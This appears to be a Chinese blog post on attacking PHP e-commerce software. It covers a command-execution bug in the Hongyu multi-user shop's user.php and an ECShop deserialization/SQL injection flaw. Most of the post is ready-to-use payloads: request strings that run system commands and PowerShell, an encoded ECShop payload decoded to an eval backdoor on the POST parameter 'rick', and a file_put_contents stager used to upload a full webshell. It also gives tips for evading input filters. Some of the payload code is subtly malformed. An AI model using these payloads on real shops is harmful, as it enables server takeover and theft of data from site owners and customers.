小马传大马的思想

鸿宇多用户商城 user.php 任意命令执行漏洞

通过命令执行的点,传入 PHP代码。

写入 PHP 代码到文件中,可以先写成 txt 的文件格式,查看写入的内容是否被拦截,是否被解析了。

当前的状态是可以命令执行,在命令执行的部分,直接echo 的方式,进行php 马的写入,可能会失败。这时候,可以先写入txt看看,写入的php函数是否被解析了。

我今天遇到的是,传入的部分,被" 解析了,poc 的部分是这样的,是利用了 user.php 的参数进行传入。然后造成了命令执行。但是user.php,会对传入的数据进行解析。所以,直接在这里传马的话,会被解析处理掉。并且,如果函数里的参数是字符串的形式,比如,$_POST[“string”],它就会被解析掉,不能顺利写入。所以用数字.

所以就想到了,既然能命令执行,那可以写入文件,写一个php的文件,然后再通过这个文件,进行文件上传。先写一个小马,通过小马传大马。写小马的时候,要用绕过的方式来写。不要正向的去写。

`echo "<?php file_put_contents($_POST[1],$_POST[2];?>)" > hello.php`};&1=$_POST[1]&2=$_POST[2]

POST 里面的参数,用的是数字,是为了避免写进去的时候被解析掉。file_put_contents 的方式,将内容写入。第一个参数是用来接收传入的文件名的,第二个接收传入的PHP代码。

成功上马

windows环境,cmd 不好用的时候,把 powershell 搞出来

普通命令执行的时候是这样

action=login&pp123=${`cmd`};

牛逼并且有回显的命令执行是这样

action=login&pp123=${@var_dump(print%20`C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe%20cmd`)};

如果能执行php,优先php内置执行命令。

echo(system("dir"));

PHP 反序列化漏洞

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:233:\"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243686959584e6c4e6a52665a47566a6232526c4b435266554539545646747961574e7258536b704f773d3d2729293b2f2f7d787878,10-- -\";s:2:\"id\";s:11:\"-1' UNION/*\";}554fcae493e564ee0dc75bdf2ebf94ca"

解码后

554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:233:\"*/SELECT 1,-1' UNION/*,2,4,5,6,7,8,{$asd'];eval    (base64_decode    ('eval(base64_decode($_POST[rick]));'));//}xxx,10-- -\";s:2:\"id\";s:11:\"-1' UNION/*\";}554fcae493e564ee0dc75bdf2ebf94ca"

其中,前后的部分是md5,解密之后是ecshop

ecshopads|a:2:{s:3:\"num\";s:233:\"*/SELECT 1,-1' UNION/*,2,4,5,6,7,8,{$asd'];eval    (base64_decode    ('eval(base64_decode($_POST[rick]));'));//}xxx,10-- -\";s:2:\"id\";s:11:\"-1' UNION/*\";}ecshop"

所以漏洞传参点,在rick那里,post传入。

eval函数来可以传参来进行php的代码执行。

利用这个代码执行的点,来执行命令

传入参数,执行cmd命令

echo(system(\""+cmd+"\"));

进行马的上传

可以利用php的file_put 函数来进行文件的写入。

"action=login&rick=" + base64EncodeWaTqS("file_put_contents('"+filename+"',' "+content+"');")

content 的内容是php马的内容,filename是马的文件名。

附录

php中,双引号里面是可以解析变量的,但是单引号里面不解析变量。

想要把以下的内容,通过 php 代码写入到文件中,并且POST 是变量,需要传参数进去。

<?php file_put_contents($_POST[1],$_POST[2];?>
file_put_contents("hello.txt",'<?php file_put_contents($_POST[1],$_POST[2];?>');

评论